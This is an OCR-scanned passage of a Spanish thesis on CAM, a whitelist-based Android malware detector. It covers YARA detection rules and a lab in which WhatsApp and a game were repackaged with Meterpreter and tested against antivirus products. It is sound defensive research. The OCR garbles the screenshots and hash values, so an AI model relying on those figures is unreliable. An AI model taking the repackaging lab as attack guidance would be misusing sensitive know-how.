Ver Acciones Comprometido
Detalles IOC
Ignorar
A=
Reportar por correo
. =
Desinstalar
=1

Figura 5-75. Menu de acciones del cliente CCAM. (Fuente: Propia).

La Figura 5-76 muestra el resultado de la accién reportar por correo del menu anterior.

= & =0 09:58
(™ Redactar >

ammpmsi@gmail.com

ammpmsi@gmail.com

Problemas detectados en aplicacién

Customer identifier:e4fac197-
b30b-4968-a8c1-4a7adae3e3fb
import "androguard”

import "file"

import "math"

rule
CAM_29_07_2018_09_57_45_WhatsA
pp

{

meta:

description = "Malware detection
through CAM Client"

condition:

androguard.package_name('com.wh
atsapp") and

o O =

Figura 5-76. Estructura de correo enviada por CCAM al administrador de ACAM. (Fuente: Propia).
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El correo se envia a la cuenta configurada en el menu principal.

El correo enviado al administrador tiene un formato en regla Yara, que sirve para usar en
plataformas como Koodous.

La Figura 5-77 muestra la estructura de la regla Yara que se reporta por correo para el
administrador de la plataforma CAM.

Problemas detectados en aplicacion  Recivides =

PMSI AMM =ammpmsi@agmail.com=
para mi =

Customer identifier-e4fac197-b30b-49638-a8c1-4a7adaededfh
impaort “androguard”

import “file”

impaort “math”

rule CAM_29 07_2018_08_57_45 WhatsApp

{

meta:

description = "Malware detection through CAM Client”

condition:

androguard.package_name{"com.whatsapp™) and

androguard. app_name{"WhatsApp")

and [

androguard. permission{fandroid. permission. SET_WALLPAFPERS) or
androguard. permission{/android. permission. READ_SMS/ or
androguard. permission{fandroid. permission. READ _CALL_LOG" or
androguard. permissionfandroid. permission. CALL_PHOME or
androguard. permission{fandroid. permission. WRITE_SETTINGS!) or
androguard. permission{fandroid. permission. WRITE_CALL_LOGT)
or not androguard_certificate sha1("38A0F7D505FE18FECE4FBF 343ECAAAFI10DBDTES")
or not file. md5("556c6019248bbc0cab7 04951 78d3a9d17)

Mar not math_entropy(0, filesize) == 320138735

}

Version

2.18.183

BAD IPS

172 217 30206192 168.0.10;192.168.0.41

Figura 5-77. Regla YARA exportada por CCAM. (Fuente: Propia).

La primera linea del cuerpo del correo identifica el dispositivo maovil.

Desde la primera linea de import hasta la dltima llave el formato tiene la sintaxis de
una regla Yara funciona.

Las ultimas lineas tienen la versién de la aplicaciéon y las IP detectadas que no
pertenecen al dominio del fabricante. Estas Ultimas se pueden bloquear en un firewall
de aplicaciones en el dispositivo Android y también se pueden bloquear en un firewall
perimetral segun el entorno donde se use el dispositivo.
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Plataforma Koodous

La Figura 5-78 muestra configuracion de la regla Yara exportada de la plataforma CAM en la
plataforma Koodous.

&« (] | 8 hitps;//koodous.com/my_rulesets/4702

i Aplicacionss TRABAJO ESTUDIO FABRICANTES sis

! € Malware detection through CAM Client WhatsApp [Z28 B (@ Public page)

Saved. Last modification on Jul 28, 2018

This ruleset has detected 5028 apks. Show detections

Jjuangrajalesg422

M
e This ruleset is ready to be promoted to social enviroment. Click here to promote and all your followers will be notified of your detections.

@& Dashboard

import "androguard”

import "file"

import "math"

rule CAM_28_07_2018_05_46_19_WhatsApp

<> Rulesets >

meta:

Community Rulesets L A .
description = "Malware detection through CaAM Client”

MDBO N O LT L
-~

condition:
My Rulesets androguard.package_name("com.whatsapp”) and
1@ androguard.app_name( "Whatsapp")
11 and(
= APKs 12 androguard.permission(/android.permission.SET_WALLPAPER/) or
12 androguard.permission(/android.permission.READ_SMS/) or
14 androguard.permission(/android.permission.READ_CALL_LOG/) or
®  Ranking 15 andreoguard.permission(/android.permission.CALL_PHONE/) or
16 androguard.permission(/android.permission.WRITE_SETTINGS/) or

=
]

androguard.permission(/android.permission.WRITE_CALL_LOG/))

or not androguard.certificate.shal("38A8F7D505FELSFECG4FBF343ECAAAF31BDBDTR9")
or not file.mds("550c6@19249bbcecab78495178d3a%9d1")

}

=
ea

@ Notifications

(1
@

Figura 5-78. Plataforma Koodous en el espacio para disefiar reglas por el usuario. (Fuente: Propia).

Detecciones de Koodous a través de la regla de CAM

La Figura 5-79 muestra las detecciones realizadas en la plataforma Koodous con el uso de la
regla Yara de la plataforma CAM

(9 xoobous = s oz oo [T

! My rulesets

[EZ] Malware detection through CAM Client WhatsApp [ (T3

Menu import "androguard” import "file" import "math" rule CAM_28_07_2018_05_46_19_WhatsApp { meta: description = "Malware detection throug|

Filter by status

@& Dashboard
.

Figura 5-79. Cantidad de detecciones de Koodous luego de promover la regla socialmente. (Fuente:
Propia).
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La funcion desinstalar permite al usuario final remediar el incidente de instalar una aplicacion
comprometida desinstalandola directamente desde el cliente CCAM, la funcién desinstalar pide

la confirmacién de la desinstalacion de la aplicacion.

La Figura 5-80 muestra la opcion desinstalar en el menu de acciones del cliente CAM.

20 Genymotion for personal use - Motorola Moto X, — O X

<  CAM Client

Lista de Apps

TransportMTL
net.rhatec.amtmobile
Ver Acciones

WhatsApp
w com.whatsapp
Ver Acciones
Detalles |10OC
lgnorar

Reportar por correo

Desinstalar

Figura 5-80. Pantalla de menu de acciones del cliente CCAM. (Fuente: Propia).

Calificacion

Marmal

Comprometido
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La Figura 5-81 muestra la ejecucion de la desinstalacion del cliente CCAM.

o0 Genymotion for personal use - Motorela Moto X... — O

X
-

© whatsApp

; Deseas desinstalar esta
aplicacion?

Cancelar Aceptar

Figura 5-81. Desinstalar aplicacion por decision del usuario. (Fuente: Propia).

Se requiere presionar Aceptar para realizar la desinstalacion.



Metodologia 82

Menu 2

Este menu se genera cuando resultado del escaneo de una aplicacion es Este menu
funciona como el Menu 1 pero solo tiene las acciones de Detalles IOC y Desinstalar.

La Figura 5-82 muestra las acciones del Menu 2 del cliente CCAM.

o0 Genymotion for perscnal use - Motorela Mete X, — O

< CAM Client

Lista de Apps Calificacion

TransportMTL Q

net.rhatec.amtmobile
Ver Acciones

Marmal
Detalles 10C
W
w col Desinstalar m
Vel

Comprometide

Figura 5-82. Menu 2 del cliente CCAM. (Fuente: Propia).
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6 Resultados

6.1 Resultados

A continuacion, se muestran los resultados de los laboratorios de las pruebas de deteccién de
las aplicaciones comprometidas con fabricantes de software de seguridad y con la herramienta
desarrollada en este trabajo plataforma CAM.

6.1.1 Resultados de técnicas de deteccidbn de malware en dispositivos
Android entre el afio 2012 y el 2018-1

¢ Una tabla de técnicas de deteccion entre el 2012 y 2018-1 y una tabla de debilidades de
las técnicas de deteccién desarrolladas en el mismo periodo de tiempo

e Luego de una revision sistematica de la literatura entre el 2012 y 2018-1 no se
encontraron técnicas de deteccién de listas blancas que detecten malware a partir de la
correlacion 10Cs hibridos.

6.1.2 Resultados del laboratorio: Consola ACAM, Dispositivos moviles de

pruebas

Se implementaron los siguientes componentes del laboratorio:

e Consola Web ACAM publicada en http://52.33.73.251/admin
e Laboratorio de maquinas virtuales, con tres dispositivos Android emulados y un
dispositivo fisico.

Dispositivo 1: Maquina virtual con aplicaciones seleccionadas oficiales
instaladas desde la Google Play no infectadas

Dispositivo 2: Maquina virtual con aplicaciones seleccionadas
descargadas desde la Google Play, reempaquetadas con Meterpreter y
con antimalware de fabricantes reconocido

Dispositivo 3: Maquina virtual con aplicaciones seleccionadas
descargadas desde la Google Play, reempaquetadas con Meterpreter y
con el cliente CCAM de la plataforma CAM

Dispositivo 4: Teléfono fisico Motorola G5 Plus con Android 7.0 y parche
de seguridad del 1 junio de 2018 con aplicaciones seleccionadas
descargadas desde la Google Play, reempaquetadas con Meterpreter y
con el cliente CCAM de la plataforma CAM

¢ Un laboratorio para infeccion de aplicaciones moviles con Linux
e Seleccion de dos aplicaciones instaladas en las maquinas virtuales para monitorear y
presentar |OCs.


http://52.33.73.251/admin
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6.1.3 Plataforma CAM

CAM es una plataforma de Control de Aplicaciones Mdviles, compuesta por una consola de
administracién centralizada, con una aplicacion para teléfonos inteligentes, con capacidad de
deteccién de aplicaciones comprometidas con malware, mediante andlisis hibrido, estatico y
dinamico de IOCs directamente en el smartphone.

CAM puede generar comunidades de analistas de malware para Android, que alimenten la lista
blanca de la consola de administracion ACAM, con los eventos operativos oficiales de las
aplicaciones legitimas desarrolladas, con una propuesta de corresponsabilidad de los
desarrolladores de aplicaciones para que publiquen los eventos operativos de sus aplicaciones
y con potencial para usos corporativos como entonos de BYOD (Bring Your Own Device). CAM
también puede contribuir a la comunidad de analistas de malware que usan reglas Yara para la
deteccién, como la plataforma Koodous.

CAM también propone capacitar a los usuarios finales, familiarizandolos con términos de
ciberseguridad a través de informes eficientes y amigables que muestran en sus resultados de
detecciones los I0Cs de las aplicaciones comprometidas al usuario, esperando que estos
generen conocimiento en temas de seguridad de la informacién, partiendo de la premisa de que
una imagen vale mas que mil palabras.

Regla Yara con detecciones en la plataforma de Koodous

La Figura 6-1 muestra la regla YARA con detecciones luego de ser promovida socialmente.

This ruleset is ready to be promoted to social enviroment. and all your followers will be notified of your detection:

& Dashboard
import “androguard”
import “file"”
import "math”
rule CAM_28_87_2018_85_46_19_WhatsApp

Community Rulesets meta:
i description = "Malware detection through CAM Client™
condition:
My Rulesets androguard. package_name("com.uhatsapp™) and
: androguard.app_name("WhatsApp")
and(
APKs androguard.permission(/android.permission
androguard.permission(/android.permission
androguard.permission i i
androguard.permission(/android.par:
androguard.permission(/andrecid.perm
androguard.permission(/andrecid.perm
O  Notifications or not androguard.certificate.shal("3848F7D5
N “ or not file.md5("556c6819245bbc@cab7@4!

L)

Ranking

ALL /
E18FECH4FBF243ECAAAF310DBD799")
1)

Figura 6-1. Regla YARA con detecciones luego de ser promovida socialmente. (Fuente: Propia).

La Figura 6-2 muestra las detecciones realizadas por Koodous utilizando la regla promovida
socialmente
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@& Dashboard

Figura 6-2. Cantidad de detecciones realizadas por Koodous utilizando la regla promovida socialmente.
(Fuente: Propia).

6.1.4 Caso de Uso de la plataforma CAM

A continuacion, se presenta un caso de uso de la plataforma CAM detectando dos
aplicaciones comprometidas con Meterpreter para Android, en un entorno de emulaciéon de
magquinas virtuales de Android y un dispositivo movil fisico.

Descripcion de la prueba

¢ Implementacion del laboratorio con las maquinas virtuales: Dispositivol, Dispositivo2 y
Dispositivo3 con el software de emulacién Genymotion.

e Dispositivo movil Motorola MotoG5 Plus

¢ Infeccion de aplicaciones oficiales seleccionadas.

En esta prueba se selecciond, infect6 e instalo la version 2.18.223 de WhatsApp con Meterpreter
de Metasploit en los dispositivos méviles emulados.

WhatsApp Oficial

Caracteristicas de la aplicacion oficial de WhatsApp de la tienda Google Play
Firma digital del fabricante:

SHA-1 de la firma del desarrollador:

38A0F7D505FE18FEC64FBF343ECAAAF310DBD799

La Figura 6-3 muestra la firma del desarrollador de WhatsApp. Todas las versiones oficiales de
esta aplicacién deben tener el mismo SHAL.
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WhatsApp 218230 (452433)

Actualizacion sobre: 2018-08-03

Requiere Android: A
Firma: 38a0
Archivo SHA1: a6
Tamafio de archiv

Qué hay nuevo:

-L

Figura 6-3. Repositorio de aplicaciones Apkpure informando sobre la firma del desarrollador y el SHA-1
el archivo APK. (Fuente: Propia).

WhatsApp comprometido:

La firma del desarrollador pierde su integridad en el proceso de Re-empaquetamiento de la
aplicacion como muestra la Figura 6.4 para el caso de WhatsApp.

SHA-1: 9D75083A0D209012C3E9371C4B684782CFO5SE19C

La
Figura 6-4 muestra la aplicacion WhatsApp Version 2.18.223.

T4l 21:52

<1* Informacién de la aplicacién

WhatsApp
version 2.18.223

Forzar
detencion

Desinstalar
¥ Mostrar notificaciones
ALMACENAMIENTO

Total 56,63 MB
Aplicacion 56,41 MB
Datos 228 KB

Borrar datos

32,00 KB

Borrar caché

ABRIR DE FORMA PREDETERMINADA

e R o R e

Figura 6-4. Aplicacion WhatsApp version 2.18.223 comprometida. (Fuente: Propia).
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La Figura 6-5 presenta el escaneo de WhatsApp comprometido utilizando Package Info.
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o0 Genymotion for personal use - Motorola Moto X, — O

4 ?‘ =m 10:15

“© WhatsApp

Package Details
Package com.whatsapp

App size 58800.00 KB Settings

D B

Data Size 1260.00 KB Google it
Installed (2018/06/30)
Updated (2018/06/30) Uninstall

Is package bloatware ? Repart

Apk Path /data/app/
com.whatsapp-1.apk

Version Details

Name 218,

Code 452395

Target SDK 27

App Type Outside play store

Signature +6esYnRH4+eaXw [ELE R
hO51CiULKGsfg=

Permissions (Click inside for legend)
d 27T

Figura 6-5. Firma de WhatsApp comprometida visualizada por la aplicacién Package Info. (Fuente:
Propia).

88
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Fabrica de Golosinas (Fabrica Dulce):
SHA-1 de la firma del desarrollador:
Firma: 496d0c5ab97813582969b42d497124b26583ddf7

Firma del desarrollador de Fabrica de Golosinas (Fabrica Dulce). Todas las versiones oficiales
de esta aplicacién deben tener el mismo SHA-1 que est4 en la firma.

La Figura 6-6 muestra la Firma SHA-1 de la aplicacion Fabrica de Golosinas (Fabrica Dulce).

Fabrica de Golosinas-Candy 3D 8.25.10.00 for Android 4.0.3+ APK Descargar

n Sandwich MR1, API 15

Figura 6-6. Firma Shal de desarrollador de fabrica de Golosina. (Fuente: Propia).

Fabrica de golosinas comprometido:

La firma del desarrollador pierde su integridad en el proceso de Re-empaquetamiento de la
aplicacion.

SHA-1: 3994592610378BD979575C1F7A0941BD59F3700

La Figura 6-7 muestra la aplicacién Fabrica de Golosinas (Fabrica de Caramelos, Fabrica Dulce)
comprometida.

. l1539

(* Informacién de la aplicacion

Fabrica de Caramelos
® version 1.02

Desinstalar

¥ Mostrar notificaciones
ALMACENAMIENTO

Total
Aplicacion
DEIGH

ABRIR DE FORMA PREDETERMINADA

D =

Figura 6-7. Aplicacién Fabrica de Caramelos versién 1.02. comprometida. (Fuente: Propia).



Resultados

90

La Figura 6-8 muestra la aplicacion Fabrica Dulce (Fabrica de Caramelos) escaneada con

Package Info

" %8 Fabricade Caramelos

Package Details
Package com.drpanda.drpandacandyfa
ctory.fun

App size 118768,00 KB Settings

Data Size 0,00 KB Goagle it

Installed (2018/08/04) Run

Updated (2018/08/04) Uninstall

Is package bloatware ? Report

Apk Path fdata/app/
com.drpanda.drpandacandyfa
ctory.fun-1.apk

Version Details

Name 1.02

Code 10
Target SDK 25
App Type Play store App

Signature 6hoa50TQHRBMX
QZ1z2tfhhLP210=

Permissions (Click inside for legend)

android.permission.INTERNET

g’

Figura 6-8. Firma de Fabrica de Caramelos comprometida visualizada por la aplicacion Package Info.

(Fuente: Propia).
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Pruebas de deteccidon en dispositivos moviles emulados

Antivirus gratuitos para dispositivos

Antivirus 1 - Avast. Se realiz6 un escaneo de WhatsApp comprometido, con este antivirus, sin lograr
detectar la aplicacion comprometida como muestra la Figura 6-9.

—_— A
= @ 21:53

13 elementos analizados

Proteja su privacidad en linea

° UPGRADE
Navegue por Internet de forma
anonima con Avast Secureline.

iEsta protegido!
P~
PROTEGER AHORA

¢De 0 a 100 realmente rapido?
Vea en qué momento ya puede

desconectar. Puede contener publicidad.

ENCENDER

I 30 years of Avast!

Figura 6-9. Avast antivirus no detecta la aplicacion comprometida. (Fuente: Propia).
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Antivirus 2 - Panda. Escaneo de WhatsApp comprometido. El antivirus no detecta ninguna
amenaza en el dispositivo mévil, como muestra la Figura 6-10.

-~ A mal = ) ron
& iAnalisis completado! Pulsa aqui para ver los

Sistema limpio

Volver

Figura 6-10. Panda antivirus no detecta la aplicacion comprometida. (Fuente: Propia).
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Plataformas antimalware no gratuitas para dispositivos moéviles

Plataforma 1 - Symantec Endpoint Protection for Mobile. Escaneo de WhatsApp
comprometido.

La Figura 6-11 muestra el resultado del escaneo.

O [vaivare |

The app WhatsApp was identified as a high
sk mawane.

Reasoning
The app was identified as malware by the Symantec
Endpoint Protection Malware Crowd Wisdom

Engine

Recommendations
Consider uninstalling the app. Click "Uninstall’ and

then "0K” in the dialog

Additional Info
Malicious apps on maobile devices are intended to

steal information, spy on the user, gather sensitive

Figura 6-11. Antivirus pago detecta la aplicacion comprometida. (Fuente: Propia).

Resultados:
e Deteccion el antivirus detecta el malware, e informa aplicacion reempaquetada.

¢ Notificacion: Recomendacion “Considere desinstalar la aplicaciéon”. Un usuario final con
pocos conocimientos de ciberseguridad puede decidir no desinstalar la aplicacion.
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Plataforma 2 — Trend Micro MobileSecurity. Escaneo de WhatsApp comprometido

La Figura 6-12 muestra el escaneo realizado utilizando el antivirus Trend Micro Mobile Security.

TREND MICRO

Exploracion de seguridad MobileSecurity fo

Estado Aplicaciones Seguridad Politic

\ ESTADO DE MDM
/ En buen estad

84% SR

Exploracion de proteccion de red:
Descifrado de trafico de red

ESTADO DE

SEGURIDAD
Cancelar /

Protegido

o P Uitima sincrontzacion ™~
- - 14:57 29/07 ~/

Figura 6-12. El Antivirus Trend Micro MobileSecurity no detecta la aplicacion comprometida. (Fuente:
Propia).

Resultado:

e Deteccion: La plataforma antimalware no detecta ninguna amenaza en el dispositivo
movil
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Plataformas Antivirus social Koodous
Koodous, Escaneo de WhatsApp comprometido.

La Figura 6-13 muestra el escaneo de la aplicacion WhatsApp utilizando la plataforma Koodous.

Koodous
' API Demos
& com.example.android.apis

Avast Mobile Security

.avast.android.mobilesecurity

Koodous

com.koodous.android

Network Connections

com.antispycell.connmonitor

WhatsApp

com.whatsapp

...ndroid.gesture.builder

com.android.gesture.builder

Figura 6-13. El antivirus Social Koodous no detecta la aplicacién reempaquetada. (Fuente: Propia).

Resultados:

e Deteccion: El antivirus social Koodous no detecta ninguna amenaza en el dispositivo
movil
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Plataforma desarrollada CAM (Control de Aplicaciones Moviles) en
dispositivos méviles emulados

Escaneo de WhatsApp comprometida con CCAM

La Figura 6-14 muestra el escaneo de la aplicacion WhatsApp comprometida utilizando la
plataforma desarrollada CCAM:

& CAM Client

Lista de Apps Calificacion
TransportMTL =
net.rhatec.amtmobile ‘ |
Ver Acciones ik

WhatsApp
w com.whatsapp m
V———————-—————er Acciones Comprometido

—

A C !

Figura 6-14. CCAM detecta la aplicacion comprometida no detectada por las otras soluciones. (Fuente:
Propia).

Resultados:
« Deteccion: Calificacion de WhatsApp la aplicacion esta COMPROMETIDA.
« Notificacion: Ver detalles de IOCs.

¢ Informes eficientes generados con CAM, IOCs detectados.
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La Figura 6-15 muestra la actividad de ver detalles de 10Cs del cliente CCAM.

o0 Genymotion for personal use - Motorola Moto X, — O x

&« CAM Client

Ver detalle 10C
& £t ra
Estatico Dinamico Metadatos

v 6 3 3

Descripcion detallada 10C
Estdtico: Permisos
Dinamico: Trafica activo de |a aplicacion

Metadatos: Firmas digitales, tamafio de la app

Figura 6-15. Informes eficientes generados por CCAM. (Fuente: Propia).

Resultado: deteccion de IOCs, Estéticos: 6, Dinamico: 3, Metadatos: 3

IOCs estaticos detectados

Notificacion:

Permisos oficiales: Informa los eventos operativos oficiales que se configuraron en la
base de datos de lista blanca del administrador.

Permisos Detectados: Informa los eventos operativos detectados en la aplicacion
instalada.

Permisos con problemas: Informa los I0Cs detectados en la aplicacion instalada al hacer
la diferencia entre los eventos operativos oficiales y los IOCs de mas detectados en la
aplicacion comprometida.
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La Figura 6-16 muestra el informe de 10C estéticos detectados y permisos con problemas.

< CAM Client

Permisos Permisos

WhatsApp
Q Permisos Oficiales:52
Permisos detectados:58

[ Permisos con problemas:6 |

Clasificacion de permisos por colores en funcion de los
niveles de proteccion de los desarrolladores de Android

Peligrosos Tu App requeiere dalos O recursos

funcionamient

Figura 6-16. Informe de 10C estaticos detectados y Permisos con problemas. (Fuente: propia).

Permisos con problemas clasificados con base a la clasificacion de permisos de la pagina de
desarrolladores de Android:

Android.permission.SET_WALLPAPER
Android.permission.READ_SMS
Android.permission.READ _CALL_LOG
Android.permission.CALL_PHONE
Android.permission.WRITE_SETTINGS
Android.permission. WRITE_CALL_LOG

IOCs dinamicos detectados
Notificacioén:

e Trafico: Informa las direcciones IPv4 e IPV6 solicitadas por la aplicacion comprometida
gue no hacen parte del dominio del fabricante.

La Figura 6-17 presenta el informe de IOC dinamicos con problemas.
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< CAM Client

Trafico
Direccidn no se encuentra registrada: 192.168.0.41

Direccidn no se encuentra registrada: 192.168.0.10

Direccion no se encuentra registrada: 172.217.30.206

) - =l

Figura 6-17. Informe de IOC dinamicos con problemas. (Fuente: Propia).

La imagen muestra dos IPs privadas que no pertenecen al dominio de WhatsApp, se debe
validar si la direccion IP publica corresponde a una nueva direccién del fabricante

IOCs Metadatos

Notificacion:

Firmas: Informa digitales y peso La Figura 6-18 muestra el informe de 10C de metadatos con
problemas.
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L CAM Client

Firmias

Figura 6-18. Informe de IOC de metadatos con problemas. (Fuente: Propia).

Se puede evidenciar que las firmas digitales y el peso de la aplicacibn comprometida no son
iguales a los metadatos oficiales

Pruebas de deteccion en dispositivo movil fisico
Escaneo de Fabrica Dulce comprometido con CCAM

La Figura 6-19 muestra el resultado del escaneo de la aplicacion Fabrica dulce utilizando el
cliente CCAM.
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CAM Client

ESCANEAR

Figura 6-19. Escaneo de Fabrica Dulce con el cliente CCAM. (Fuente: Propia).
Resultado del escaneo de Fabrica Dulce comprometido con CCAM

La Figura 6-20 muestra la deteccion de la aplicacion comprometida Fabrica Dulce en el
dispositivo fisico
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O WA ¢ 4 B 1218
<&  CAM Client

Lista de Apps Calificacion

Fabr

- b m
= 2188 I Y a3 r
Comprometido

=“Ver Acciones
Ver Acciones

Ver Acciones

Figura 6-20. Deteccion de CCAM detecta la aplicacion comprometida en el dispositivo fisico. (Fuente:
Propia).
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Funcién de ver acciones

La Figura 6-21 muestra el menu de acciones en el dispositivo.

OWC g48 1223
CAM Client

Figura 6-21. MenU de ver acciones en el dispositivo fisico. (Fuente: Propia).

Resultados:

« Deteccion: Calificacion de WhatsApp la aplicacion estda COMPROMETIDA.
Ver detalles de I0Cs

Informes eficientes generados con CAM, I0Cs detectados. La Figura 6-22 muestra la interfaz de
la funcion de Ver detalle IOC después de la deteccion de la aplicaciébn Fabrica Dulce
reempaquetada.
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OV g48 1223
<  CAM Client

Figura 6-22. Interfaz Ver detalle IOC del cliente CCAM en el dispositivo fisico. (Fuente: Propia).

Resultado: deteccion de I0Cs, Estaticos: 6, Dinamico: 3, Metadatos: 3.

IOCs estéaticos detectados
Notificacion:

e Permisos oficiales: Informa los eventos operativos oficiales que se configuraron en la
base de datos de lista blanca del administrador.

e Permisos Detectados: Informa los eventos operativos detectados en la aplicacion
instalada.

e Permisos con problemas: Informa los IOCs detectados en la aplicacion instalada al hacer
la diferencia entre los eventos operativos oficiales y los IOCs de mas detectados en la
aplicacion comprometida.
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La Figura 6-23 muestra las interfaces de I0Cs Estaticos detectados y Permisos con problemas

del cliente CCAM en el dispositivo fisico

Figura 6-23. Interfaces de 10C estéticos detectados y Permisos con problemas en el dispositivo fisico.

(Fuente: Propia).

Permisos con problemas clasificados con base a la clasificacion de permisos de la pagina de

desarrolladores de Android.

Android.permission.SET_WALLPAPER
Android.permission.READ _PHONE_STAT
Android.permission.ACCESS_COARSE_LOCATION
Android.permission.READ_CONTACTS
Android.permission. WRITE_CALL_LOG
Android.permission.RECORD_AUDIO
Android.permission.RECEIVE_SMS
Android.permission.READ_SMS
Android.permission. WRITE_EXTERNAL_STORAGE
Android.permission. ACCESS_FINE_LOCATION
Android.permission. CAMERA
Android.permission.READ_CALL_LOG
Android.permission.SEND_SMS
Android.permission.RECEIVE_BOOT_COMPLETED
Android.permission. WRITE_CONTACTS
Android.permission.READ_EXTERNAL_STORAGE
Android.permission.CALL_PHONE
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IOCs dinamicos detectados
Notificacion:

e Trafico: Informa las direcciones IPv4 e IPV6 solicitadas por la aplicacion comprometida
gue no hacen parte del dominio del fabricante.

La Figura 6-24 muestra la interfaz de I0C dindmicos detectados en el dispositivo fisico después
de escanear Fabrica Dulce reempaquetada.

OW® - gd8 1223
CAM Client

Figura 6-24. Informe de IOC dinamicos con problemas. (Fuente: Propia).

La imagen muestra una direcciéon IP privadas que no pertenecen al dominio de WhatsApp, se
debe validar si la direccidon IP publica corresponde a una nueva direccion del fabricante

IOCs Metadatos
Notificacion:
¢ Firmas: Informa digitales y peso

La Figura 6-25 muestra la pantalla de la actividad de 10C metadatos detectados en el dispositivo
fisico después de escanear Fabrica Dulce reempaquetada.
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Figura 6-25. Informe de IOC de metadatos con problemas. (Fuente: Propia).

Se puede evidenciar que las firmas digitales y el peso de la aplicacibn comprometida no son
iguales a los metadatos oficiales

En las pruebas realizadas la plataforma CAM detectd los IOCs de las aplicaciones
comprometidas instaladas y no genero falsos positivos con las otras aplicaciones

CAM también notific6 informes eficientes que pueden alertar mejor a los usuarios finales,
mostrandoles los permisos con problemas y su clasificacion por colores segun los
desarrolladores de Android, las direcciones IP que no pertenecen al dominio del fabricante y
las diferencias de las firmas digitales y su peso, asi como el peso de la aplicacion infectada
instalada evidenciando su falta de integridad.
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7 Conclusiones

La plataforma CAM permite detectar aplicaciones infectadas instaladas en el teléfono
inteligente configuradas en la lista blanca del administrador, por medio de la correlacién de
eventos de 10Cs hibridos de Android (Estaticos, Dindmicos y Firmas digitales).

La plataforma CAM desarrolla un sistema de notificaciones eficientes que pueden alertar, educar
y mejorar la capacidad de respuesta del usuario final, quien usualmente no posee los
conocimientos necesarios y por lo tanto es mas vulnerable.

La ciberseguridad en dispositivos méviles es un campo bastante estudiado, pero en el que se
puede innovar con nuevas técnicas de detecciébn que mejoren las capas de seguridad de la
plataforma para el usuario final.

Este proyecto propone la creacién de comunidades y una estrategia de corresponsabilidad entre
los desarrolladores de las aplicaciones moéviles y los usuarios de la plataforma CAM -
administradores y no administradores - para que los primeros publiquen los eventos operativos
de las aplicaciones oficiales de las aplicaciones desarrollada, con el fin de que los usuarios
administradores de la plataforma puedan alimentar la base de datos de lista blanca de la consola
de administracion ACAM. De esta manera, los usuarios no administradores pueden comprobar
la integridad de sus aplicaciones con el cliente CCAM para dispositivos Android aprovechando
los conocimientos de los administradores.

La plataforma CAM automatiza la creacion de reglas YARA de los IOCs detectados en las
aplicaciones comprometidas desde el dispositivo movil del usuario final para que este las pueda
compartir y reportar al administrador, de manera que los administradores puedan publicar las
reglas creadas en plataformas similares que usa en este lenguaje, como por ejemplo Koodous.
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8 Recomendaciones

Una primera recomendacion es implementar la plataforma CAM como un proyecto de comunidad
compuesta de administradores y usuarios finales no administradores de teléfonos inteligentes
con sistema operativo Android, para que los administradores alimenten la base de datos de lista
blanca con las aplicaciones mas usadas, analicen las aplicaciones reportadas por los usuarios
finales y que compartan conocimientos con estos Ultimos para que mejoren sus practicas en
temas de seguridad de la informaciéon y empiecen a dejar de ser el eslabon mas débil de la
cadena de seguridad.

Otra recomendacion es implementar la plataforma CAM en un entorno corporativo que permita
medir su alcance y determinar sus mejores usos.

También se recomienda levantar estadisticas que ayuden a medir el grado de conocimiento de
los usuarios finales antes y después de usar la plataforma CAM con el fin de comprobar si las
notificaciones eficientes cumplen con el objetivo de brindar conocimiento en seguridad de la
informacion.

Durante las pruebas de deteccion con Antivirus gratuitos y no gratuitos diferentes de la plataforma
CAM, se encontré que los antimalware no detectan la aplicacion reempaquetada antes de ser
instalada en el dispositivo mévil, por lo que finalmente el teléfono inteligente es infectado. En
investigaciones futuras se puede desarrollar una tecnologia de deteccion en tiempo real o que
escanee las aplicaciones antes de ser instaladas.

Desarrollar médulos para la plataforma CAM que le permitan monitorear el trafico de las
aplicaciones instaladas en el dispositivo mévil, sin la dependencia de aplicaciones de terceros,
como un modulo VPN que le permitiria capturar el trafico, monitorearlo y bloquear direcciones IP
gue no pertenezcan al dominio de los fabricantes de la aplicacion.

La técnica de deteccion de lista blanca de la plataforma CAM no debe generar falsos positivos
si la base de datos de ACAM esta bien administrada, pero en trabajos futuros se recomienda
hacer un andlisis de los falsos positivos que se pueden generar con las reglas YARA publicadas
en otras plataformas similares como Koodous, para optimizar la sintaxis de las reglas que se van
a intercambiar y asi minimizar los falsos positivos.

También se recomienda realizar un andlisis del uso de los recursos de los teléfonos
inteligentes del cliente CCAM: memoria, procesador y uso de la bateria, para contrastarlo con el
uso de recursos de otros softwares de seguridad similares. Asi sera posible determinar las
ventajas y desventajas de esta técnica deteccion con base al rendimiento de estos dispositivos
moviles.
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Por ultimo, se recomienda aplicar metodologias de desarrollo seguro adecuadas para
plataformas de seguridad a los componentes de la plataforma CAM e implementar buenas
practicas como comunicaciones cliente-servidor cifradas, desactivar la interface de
administracion de los usuarios finales, entre otras que le brinden a la plataforma una postura de
seguridad adecuada para salvaguardar la informacion del dispositivo mévil.
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deteccion de malware en Teléfonos inteligentes con
sistema operativo Android entre el 2013 y el 2018-1

La Tabla 8-1. Técnicas de deteccién de malware en Android entre el 2013 y 2018-1 resultado del estado del arte.

Tabla 8-1. Técnicas de deteccién de malware en Android entre el 2013 y 2018-1 resultado del estado del arte.

Fuente: Propia.

Técnicas de deteccion de malware en Teléfonos inteligentes con Android entre el 2013 y el 2018-1

Detection via a
Latent Network
Behavior Analysis

Articulos Machine | Analisis Anélisis Andlisis de Anélisis Andlisis | Anélisis Anélisis remoto Analisis
Learning | de de malware semantico | Forense | basado de aplicaciones basado en

malware malware Estatico y/o medidas de en Google Play llamados a la
dindmico Estatico dinamico en similitud API
en en moéviles
servidores | servidores

(T. E. Wei et al,, X

2012) Android

Malware
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(Y. Zhang et al.,
2013) Vetting
undesirable
behaviors in
Android
aplicaciones with
permission use
analysis

(Teufl et al., 2006)
Malware detection
by applying
knowledge
discovery
processes to
application
metadata on the
Android Market
(Google Play)

(Seo, Gupta,
Sallam, Bertino, &
Yim, 2014)
Detecting mobile
malware threats to
homeland security
through static
analysis

(M. Zhang, Duan,
Yin, & Zhao, 2014)
Semantics-Aware
Android Malware
Classification
Using Weighted
Contextual API
Dependency
Graphs

(Du Yao, Wang
Xiaoging, 2014) A
static Android
malicious code
detection method
based on multi-
source fusion
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(Wu, 2014)
DroidDolphin: a
Dynamic Android
Malware Detection
Framework Using
Big Data and
Machine Learning
Wen-Chieh

(Elish, Shu, Yao,
Ryder, & Jiang,
2015) Profiling
user-trigger
dependence for
Android malware
detection

(Jang, Kang, Woo,
Mohaisen, & Kim,
2015) Andro-
AutoPsy: Anti-
malware system
